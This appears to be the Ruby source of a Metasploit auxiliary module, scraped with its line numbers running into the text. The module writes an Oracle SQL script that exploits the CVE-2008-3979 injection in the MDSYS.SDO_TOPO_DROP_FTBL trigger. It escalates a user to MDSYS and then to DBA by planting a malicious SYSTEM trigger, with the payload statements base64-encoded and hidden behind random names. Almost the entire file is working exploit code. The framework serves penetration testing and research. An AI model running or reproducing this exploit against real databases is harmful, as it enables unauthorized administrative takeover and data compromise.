Path: blob/master/modules/auxiliary/sqli/oracle/droptable_trigger.rb
19639 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::FILEFORMAT78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Oracle DB SQL Injection in MDSYS.SDO_TOPO_DROP_FTBL Trigger',13'Description' => %q{14This module will escalate an Oracle DB user to MDSYS by exploiting a sql injection bug in15the MDSYS.SDO_TOPO_DROP_FTBL trigger. After that exploit escalate user to DBA using "CREATE ANY TRIGGER" privilege16given to MDSYS user by creating evil trigger in system scheme (2-stage attack).17},18'Author' => [ 'Sh2kerr <research[ad]dsec.ru>' ],19'License' => MSF_LICENSE,20'References' => [21[ 'CVE', '2008-3979' ],22[ 'OSVDB', '51354' ],23[ 'URL', 'http://www.securityfocus.com/archive/1/500061' ],24[ 'URL', 'http://www.ngssoftware.com/' ],25],26'DisclosureDate' => '2009-01-13',27'Notes' => {28'Stability' => [CRASH_SAFE],29'SideEffects' => [IOC_IN_LOGS],30'Reliability' => []31}32)33)3435register_options(36[37OptString.new('SQL', [ false, 'The SQL to execute.', 'GRANT DBA TO SCOTT']),38OptString.new('USER', [ false, 'The current user. ', 'SCOTT']),39OptString.new('FILENAME', [ false, 'The file name.', 'msf.sql'])40]41)42end4344def run45name1 = Rex::Text.rand_text_alpha_upper(1..10)46name2 = Rex::Text.rand_text_alpha_upper(1..10)47rand1 = Rex::Text.rand_text_alpha_upper(1..10)48rand2 = Rex::Text.rand_text_alpha_upper(1..10)49rand3 = Rex::Text.rand_text_alpha_upper(1..10)50rand4 = Rex::Text.rand_text_alpha_upper(1..10)51rand5 = Rex::Text.rand_text_alpha_upper(1..10)5253function1 = %(54CREATE OR REPLACE PROCEDURE #{name1}55AUTHID CURRENT_USER AS56PRAGMA AUTONOMOUS_TRANSACTION;57BEGIN EXECUTE IMMEDIATE '#{datastore['SQL']}';58END;59)6061function2 = %|62CREATE OR REPLACE FUNCTION #{name2} RETURN number AUTHID CURRENT_USER is63PRAGMA AUTONOMOUS_TRANSACTION;64STMT VARCHAR2(400):= 'create or replace trigger system.evil_trigger before insert on system.DEF$_TEMP$LOB DECLARE msg VARCHAR2(10);65BEGIN #{datastore['USER']}.#{name1};66end evil_trigger;';67BEGIN68EXECUTE IMMEDIATE STMT;69COMMIT;70RETURN 1;71END;72|7374prepare = "create table \"O' and 1=#{datastore['USER']}.#{name2}--\"(id number)"7576exploiting1 = "drop table \"O' and 1=#{datastore['USER']}.#{name2}--\""7778exploiting2 = "insert into system.DEF$_TEMP$LOB (TEMP$BLOB) VALUES ('AA')"7980fun1 = Rex::Text.encode_base64(function1)81fun2 = Rex::Text.encode_base64(function2)82prp = Rex::Text.encode_base64(prepare)83exp1 = Rex::Text.encode_base64(exploiting1)84exp2 = Rex::Text.encode_base64(exploiting2)8586sql = %|87DECLARE88#{rand1} VARCHAR2(32767);89#{rand2} VARCHAR2(32767);90#{rand3} VARCHAR2(32767);91#{rand4} VARCHAR2(32767);92#{rand5} VARCHAR2(32767);93BEGIN94#{rand1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{fun1}')));95EXECUTE IMMEDIATE #{rand1};96EXECUTE IMMEDIATE 'GRANT EXECUTE ON #{name1} TO PUBLIC';97#{rand2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{fun2}')));98EXECUTE IMMEDIATE #{rand2};99EXECUTE IMMEDIATE 'GRANT EXECUTE ON #{name2} TO PUBLIC';100#{rand3} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{prp}')));101EXECUTE IMMEDIATE #{rand3};102#{rand4} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{exp1}')));103EXECUTE IMMEDIATE #{rand4};104#{rand5} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{exp2}')));105EXECUTE IMMEDIATE #{rand5};106END;107/108DROP FUNCTION #{name1};109DROP FUNCTION #{name2};110|111112print_status("Creating '#{datastore['FILENAME']}' file ...")113file_create(sql)114end115end116117118